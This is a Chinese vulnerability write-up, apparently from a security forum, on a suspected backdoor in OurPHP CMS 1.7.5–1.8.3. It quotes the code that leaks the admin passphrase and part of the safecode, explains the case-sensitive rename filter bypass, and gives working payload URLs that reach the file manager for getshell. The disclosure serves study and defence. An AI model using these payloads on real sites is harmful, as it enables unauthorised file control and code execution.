某php一处疑似官方后门导致getshell
Jokuuy 漏洞分析 8372浏览 · 2019-03-12 01:30

影响范围:v1.7.5-v1.8.3

先看 function\editor\php\upload_json.php第23行

if(isset($_GET["upload_file"])){
    $json = new Services_JSON();
    echo $json -> uploadsafe();
}

跟进function\editor\php\json.php 第238行

    function uploadsafe()
    {
        global $ourphp;
        return '<!--'.$ourphp['validation'].'||'.substr($ourphp['safecode'], 0, 32).'-->';
    }

后门之处,暴露口令码、安全校验码的前32位,6位是在这32位里。

再看看安全校验码生成的地方,在function\install\index.php的第288行

$ourphp_safecode = getRandomString(32);
$safecode6 = substr($ourphp_safecode , 6 , 6);
$str_f = '$';
$str_tmp = "<?php
    /*
     * Ourphp - CMS建站系统
     * Copyright (C) 2014 ourphp.net
     * 开发者:哈尔滨伟成科技有限公司
     * -------------------------------
     * 网站配置文件 (2016-10-22)
     * -------------------------------
     */
    define('OURPHPNO', true);
    define('WEB_ROOT',substr(dirname(__FILE__), 0, -7));
    include '".$mysql_file."';
    ".$str_f."ourphp = array(
        'webpath' => '/',    // 网站路径
        'validation' => '12345',    // 口令码
        'adminpath' => 'client/manage',        // 管理员默认目录
        'mysqlurl' => '".$ourphp_dburl."',    // 数据库链接地址
        'mysqlname' => '".$ourphp_dbname."',    // 数据库登录账号
        'mysqlpass' => '".$ourphp_dbpass."',    // 数据库登录密码
        'mysqldb' => '".$ourphp_mydb."',    // 数据库表名
        'filesize' => '5000000',    // 附件上传最大值
        'safecode' => '".$ourphp_safecode.$safecode6."',    // 安全校验码
        'mysqltype' => '".$mysql_type."',
    );

可以看到随机一个32位,然后取32位的第6位后的6位拼接

再看\client\manage\ourphp_filebox.php 第45行

if (@$_GET['validation'] == $ourphp['validation'] && $_GET['code'] == $ourphp['safecode']){
    $_SESSION['ourphp_outtime'] = time() + 3600; 
    $_SESSION['ourphp_out'] = "ourphp";
    }else{
        if(isset($_SESSION['ourphp_out'])){
            $filefolder = str_replace('\\','/',WEB_ROOT.$ourphp['webpath']);
        }else{
            include 'ourphp_checkadmin.php';
            $filefolder = str_replace('\\','/',WEB_ROOT.$ourphp['webpath']."templates/");
        }
}

这里只要口令码、安全校验码正确就可以对文件进行操作(编辑、重命名)

再看832行,重命名的操作,可以大小写绕过

function renam($rename, $nrename, $folder) {
    global $meurl,$folder;
    $php = explode('.',$nrename);
    $php = end($php);
    if($php == 'php' || $php == 'asp' || $php == 'jsp' || $php == 'aspx'){
        printerror("重命名出错!");
        exit;
    }

Payload:
http://localhost:88//function/editor/php/upload_json.php?upload_file=aaa

http://localhost:88/client/manage/ourphp_filebox.php?op=home&folder=./&validation=12345&code=QZRdvlYHlDUgqZubIGV9Mx46JCqmDNkmYHlDUg

验证:

获取口令码、安全校验码

文件管理:

1 条评论
某人
表情
可输入 255
目录